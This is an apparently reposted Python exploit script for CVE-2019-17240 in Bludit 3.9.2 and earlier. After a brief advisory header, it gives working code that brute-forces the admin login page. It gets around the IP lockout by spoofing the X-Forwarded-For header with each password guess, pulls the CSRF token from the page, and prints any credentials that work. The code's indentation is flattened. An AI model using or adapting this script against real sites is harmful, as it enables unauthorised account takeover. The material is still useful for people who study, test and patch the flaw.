Authored by ColdFusionX | Site github.com

Bludit versions 3.9.2 and below bruteforce mitigation bypass exploit. Please visit the related homepage for deep dive details on usage.

advisories | CVE-2019-17240

#!/usr/bin/python3

# Exploit
## Title: Bludit <= 3.9.2 - Bruteforce Mitigation Bypass
## Author: ColdFusionX (Mayank Deshmukh)
## Author website: https://coldfusionx.github.io
## Date: 2020-10-19
## Vendor Homepage: https://www.bludit.com/
## Software Link: https://github.com/bludit/bludit/archive/3.9.2.tar.gz
## Version: <= 3.9.2

# Vulnerability
## Discoverer: Rastating
## Discoverer website: https://rastating.github.io/
## CVE: CVE-2019-17240 https://nvd.nist.gov/vuln/detail/CVE-2019-17240
## References: https://rastating.github.io/bludit-brute-force-mitigation-bypass/
## Patch: https://github.com/bludit/bludit/pull/1090

'''
Example Usage:
- ./exploit.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt
'''

import requests
import sys
import re
import argparse, textwrap
from pwn import *

#Expected Arguments
parser = argparse.ArgumentParser(description="Bludit <= 3.9.2 Auth Bruteforce Mitigation Bypass", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''
Exploit Usage :
./exploit.py -l http://127.0.0.1/admin/login.php -u user.txt -p pass.txt
./exploit.py -l http://127.0.0.1/admin/login.php -u /Directory/user.txt -p /Directory/pass.txt'''))

parser.add_argument("-l","--url", help="Path to Bludit (Example: http://127.0.0.1/admin/login.php)")
parser.add_argument("-u","--userlist", help="Username Dictionary")
parser.add_argument("-p","--passlist", help="Password Dictionary")
args = parser.parse_args()

if len(sys.argv) < 2:
print (f"Exploit Usage: ./exploit.py -h [help] -l [url] -u [user.txt] -p [pass.txt]")
sys.exit(1)

# Variable
LoginPage = args.url
Username_list = args.userlist
Password_list = args.passlist

log.info('Bludit Auth BF Mitigation Bypass Script by ColdFusionX n ')

def login(Username,Password):
session = requests.session()
r = session.get(LoginPage)

# Progress Check
process = log.progress('Brute Force')

#Getting CSRF token value
CSRF = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)
CSRF = CSRF.group(1)

#Specifying Headers Value
headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Referer' : f"{LoginPage}",
'X-Forwarded-For' : f"{Password}"
}

#POST REQ data
postreqcontent = {
'tokenCSRF' : f"{CSRF}",
'username' : f"{Username}",
'password' : f"{Password}"
}

#Sending POST REQ
r = session.post(LoginPage, data = postreqcontent, headers = headerscontent, allow_redirects= False)

#Printing Username:Password
process.status('Testing -> {U}:{P}'.format(U = Username, P = Password))

#Conditional loops
if 'Location' in r.headers:
if "/admin/dashboard" in r.headers['Location']:
print()
log.info(f'SUCCESS !!')
log.success(f"Use Credential -> {Username}:{Password}")
sys.exit(0)
elif "has been blocked" in r.text:
log.failure(f"{Password} - Word BLOCKED")

#Reading User.txt & Pass.txt files
userfile = open(Username_list).readlines()
for Username in userfile:
Username = Username.strip()

passfile = open(Password_list).readlines()
for Password in passfile:
Password = Password.strip()
login(Username,Password)